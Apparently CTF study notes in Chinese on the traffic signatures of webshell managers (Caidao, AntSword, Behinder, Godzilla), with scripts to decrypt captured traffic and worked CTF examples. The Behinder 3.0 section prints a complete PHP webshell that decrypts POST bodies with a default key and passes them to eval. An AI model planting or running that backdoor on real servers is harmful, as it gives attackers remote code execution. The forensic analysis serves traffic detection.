WEBshell流量

WEBshell流量

几种常见WEBshell管理器的流量特征

简介:**Webshell**是通过服务器开放的端口获取服务器的某些权限的代码

菜刀Caidao流量

一些特征流量的截图

1674113313164-4ebe90b8-0be5-48b4-ad58-f21fc45f9aa8.png

1674116629098-7322643c-d927-4204-b8d6-32b11a43209e.png

菜刀流量返回的标志

1674113721388-702e2ce4-0978-4eb7-9e5d-ef9647c760f6.png

前后这个**X@Y**需要去掉,但是每次都是不一样的,所以需要看情况而定,反正就三位。


总结一下菜刀的流量特征:

**PHP**

  • 请求包中:**ua**头为百度,火狐
  • **eval=(base64_decode($_POST[z0]))****,**少数时候eval方法会被assert方法替代
  • **z0**的内容**base64**解密之后开头是**@ini_set("display_errors","0");@set_time_limit(0);**

**JSP**

  • **i=A&z0=GB2312**
  • 菜刀链接**JSP**木马时,第一个参数定义操作,其中参数值为**A-Q**,如**i=A****,第二个参数指定编码,其参数值为编码,如**z0=GB2312**,**有时候**z0**后面还会接着又**z1=**参数来加入攻击载荷

ASP

  • Execute函数用于执行传递的攻击payload,这是必不可少的,这个等同于php类中eval函数
  • OnError ResumeNext,这部分是大部分ASP客户端中必有的流量,能保证不管前面出任何错,继续执行以下代码
  • Response.WriteResponse.End是必有的,是来完善整个操作的

中国蚁剑流量

一些特征流量的截图

1675606448054-b4dadc3e-cac8-45af-9398-6aa2dd111623.png

还有一种基于RSA加密的传输方式:

中国蚁剑从2.1.0版本开始,新增加了PHP RSA编辑器,内置编辑器RSA模块,使用了RSA非对称加密进行传输。可以新建编辑器–**RSA**配置–点击生成公私钥,然后配置公私钥和**PHP**代码即可,如下

1675660203225-8a4b327e-7036-4e88-83c0-576cfa5c8aef.png

然后加密流量如下图

1675660285466-20b3e4c2-931a-44d9-ab83-a52e6182d4bc.png

对应的解密步骤如下

  • 找到公钥解出**N****E**
  • 然后用下面脚本解密客户端的发送流量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2
import base64
import libnum
n =
e =
c =
c1 = c.split("|")

for i in c1:
c = base64.b64decode(i)
c = libnum.s2n(c)
m = pow(c,e,n)
string = libnum.n2s(m)
print(string)
  • 解出来之后有时候会发现客户端要求服务器的返回流量是**AES**加密流量
  • 于是需要进行一个**AES**流量解密,也是找到**16**位密钥,和冰蝎差不多,****解密记得去掉头和尾的随机数
  • 解密网站:https://tool.lmeee.com/jiami/aes
  • 解密脚本:
1
2
3
4
5
6
7
8
9
import base64
from Crypto.Cipher import AES
cipher=b"+L8pc9pJEhqPQ1cmL18eJXX9QGADkKnp8A1j7s4oX2Qo8YJNGNTbuaXu+OfynYgRewqyfLj/Wrg0rgKj/cRdO4zJMmfLfyFVB4pBRYeTetM0G/w/Px6+xI/WPlRrx/+MvK6eQyPr+xDqTX82AqiGrOYDwN94/vuGcLS7NAxhty4="
en_text=base64.b64decode(cipher)
key=b'hm3pq66843bbbrdg'

aes = AES.new(key,AES.MODE_ECB) #创建一个aes对象,AES.MODE_ECB 表示模式是ECB模式
den_text = aes.decrypt(en_text) # 解密密文
print("明文:",den_text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re

encrypted_string = input("输入蚁剑的ChR加密请求体:")

# 使用正则表达式提取每个字符表达式中的十六进制值
hex_values = re.findall(r'ChR\((.*?)\)', encrypted_string)

# 将每个十六进制值解密为 ASCII 字符
decrypted_chars = [chr(int(hex_value, 16)) for hex_value in hex_values]

# 将解密后的字符拼接成一个字符串
decrypted_string = ''.join(decrypted_chars)

print(decrypted_string)
# 保存输出内容
with open("analyze.txt", "w") as f:
f.write(decrypted_string)

总结一下蚁剑的流量特征:

  • 相对于菜刀来说请求头是蚁剑
  • 1675606905919-b65c326f-f967-4932-ad25-b8a5f7692713.png
  • 然后shell的名字是一串随机十六进制数
  • 响应包的结果返回格式是:随机数+base64编码后的内容+随机数
  • 加密可能是纯Base64也可能是RSA+Base64``AES+Base64,也有时候是rot13之类的
  • 那么对应我们的解密也是有几种情况了

冰蝎Behinder``2.0流量

下载地址:https://github.com/rebeyond/Behinder

冰蝎和前两者的区别就是可以进行动态流量加密,且加密密钥是由使用者来设定

1675608193831-d9131f60-5664-4408-bbef-16868702567d.png

加密函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
$key = $_SESSION['k'];
echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
if(!extension_loaded('openssl')) #异或加密
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else #AES加密
{
return openssl_encrypt($data, "AES128", $key);
}
}

演示流量:冰蝎2.0流量分析.zip

总结一下流量特征:

  • 第一阶段请求中返回包状态码为**200**,返回内容必定是**16**位的密钥,密钥协商过程,一共两次,第二次返回的才是最终的密钥,第一次的是测试连接产生的随机密钥
  • 加密方式一般是**AES+BASE64**
  • 请求头存在:
    • **Accept: application/json, text/javascript, */*; q=0.01**
    • **Accept: text/html, image/gif, image/jpeg, ; q=.2, /; q=.2**
    • **Content-Type: application/octet-stream**
    • **UA**一般都是火狐特征居多,他内置了很多的**UA**
    • **Connection: Keep-Alive**,默认使用的长连接是为了避免频繁的握手造成的资源丢失
    • **Content-Length: 16**
  • 请求**Cookie**的格式都为: **Cookie: PHPSESSID=; path=/;**

冰蝎**2.0**流量解密

  • **PHP**的一般是**AES-128**加密,我们需要对返回流量进行一次AES的解密,然后在进行base64解密,才能还原数据。
  • http://tools.bugscaner.com/cryptoaes/
  • 有时候会是异或加密,**AES**就不能解密了,发送流量和返回流量都有可能加密
  • 服务器支持**https**就是**aes**加密,如果服务器不支持**https**那么就是异或加密

冰蝎Behinder``3.0流量

key值是固定的,相对于2.0的随机来说

默认密码是**rebeyond****key**就是这个密码**hash**的前**16**位,所以密钥不是随机的

全程不再交互密钥生成,一共就俩次请求,第一次请求为判断是否可以建立连接,少了俩次 get 获取冰蝎动态密钥的行为,第二次发送 phpinfo 等代码执行,获取网站的信息

加密函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
echo "no openssl";
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
// echo $post;
// echo "------------------";
$arr=explode('|',$post);
// echo $arr[1];
// echo "------------------";
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

解密步骤基本和2.0差不多

总结一下流量特征:

  • 请求包中**content-length****5740****5720**(可能会根据**Java**版本而改变)
  • 请求头存在:**Pragma: no-cache,Cache-Control: no-cache**
  • 请求头存在:**Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.9**


冰蝎Behinder``4.0流量






哥斯拉godzilla流量

下载地址:https://github.com/BeichenDream/Godzilla

特点:

  • 哥斯拉全部类型的 shell 均过市面所有静态查杀
  • 哥斯拉流量加密过市面全部流量 waf
  • 哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的

1676003396444-9e9859e3-f472-4365-b986-796b399bb4fb.png

总结一下流量特征:

  • 请求头
    • **Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8**
    • **<font style="color:#DF2A3F;">Cookie</font>**的结尾会出现分号,强特征
  • 响应头
    • **<font style="color:rgba(0, 0, 0, 0.9);">Cache-Control: no-store, no-cache, must-revalidate</font>**
  • 密钥信息一般是在服务器流量里面进行协商的,**<font style="color:#DF2A3F;">pass</font>**就是哥斯拉的默认密码
  • **PHP**的一般是发送流量直接解,返回流量需要去掉前后**16**位的附加数据,然后解**base64**然后解异或,需要密钥
  • 由于返回的是经过**gzip**的数据,我们需要进行一个**gzdecode()**的解密
  • 解密脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';

echo gzdecode(encode(base64_decode('J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3'),$key));
?>

PHP的例题:dasflow.zip

可以得到最后的flag**DASCTF{7892a81d23580e4f3073494db431afc5}**

  • **Java**的一般是去掉前后**16**位的附加数据,然后解**base64**然后解**AES****ECB/CBC**,需要密钥,一般密钥和**IV**是一样的

批量解密脚本如下:哥斯拉流量批量解密脚本.zip

有点问题:发送包解密不了,不过我提取出来了,需要配合上面的脚本使用

例题

冰蝎流量

T-黑客流量.zip

追踪tcp 发现加密密钥 冰蝎1756175500952-b69c1def-3f26-4aec-9bc4-11c81dbd3357.png

1756174932820-d9e85f46-914b-4029-86a1-0b5dcbe2693f.png

aes解密:http://tools.bugscaner.com/cryptoaes/

1756174984463-6c7d1ab6-a1b5-473e-a6b5-0c932f4b184f.png

两次base64解密后得到压缩包

1756175022249-1c3a5989-c173-4eab-8281-f78bacbe8b8f.png

1756175071456-78392fda-bbe3-49dc-8a9a-dfe0b25a9c5d.png

1
2
3
4
5
6
尝试在publickey1.pem和publickey2.pem寻找关键信息去破解他吧
n1=p*q
from hashlib import *
flag='flag{'+md5(str(p).encode()+str(q).encode()).hexdigest()+'}'
print(flag)

这里使用工具看一下(轩禹rsa)

1756175247331-fab0d395-769b-4962-b3ea-fd59e18bf55c.png

1
2
3
4
5
6
7
8
publickey1.pem
N:44246121011271558015758440510280691138722846766016040795998703455688525151379256016011185014483148720244671516767452195625707948011157989602942016776335196442421365765287185155510806225182363325150986994524037134984016506285078100457728341060710609269365508985454884521961175839515748036059179681942657577689
E:13371021346616315920076193538067650539541146779172412744507029138592761005011917574966007335864235039499860965125624732929788729491998743504047568033447438467655783500512611961094604861333846130355851604111077366257232235022540362108284901457891912129883829489946171424434999959530586432212719360479668436857

publickey2.pem
N:17158155587933912733862117112921741960394800924905080120155126290019861407132554707926218749686578495716864799561315890557953113109324735791233074459468888097589339131946110721688767640016498865548393104662759706361264662132119647594657178484293948596771089238454030012847435029782391509410130521587561699521
E:13371021346616315920076193538067650539541146779172412744507029138592761005011917574966007335864235039499860965125624732929788729491998743504047568033447438467655783500512611961094604861333846130355851604111077366257232235022540362108284901457891912129883829489946171424434999959530586432212719360479668436857

后面就是rsa攻击

哥斯拉流量

1757822795669-141c6429-e933-4233-97c1-82d834e6a4f9.png

更新: 2025-09-14 12:07:43
原文: https://www.yuque.com/chaye-apqbl/vsc85q/gyea2rlwnxl63yfa


WEBshell流量
http://example.com/2025/01/19/MISC/流量分析/WEBshell流量/
Author
chaye
Posted on
January 19, 2025
Licensed under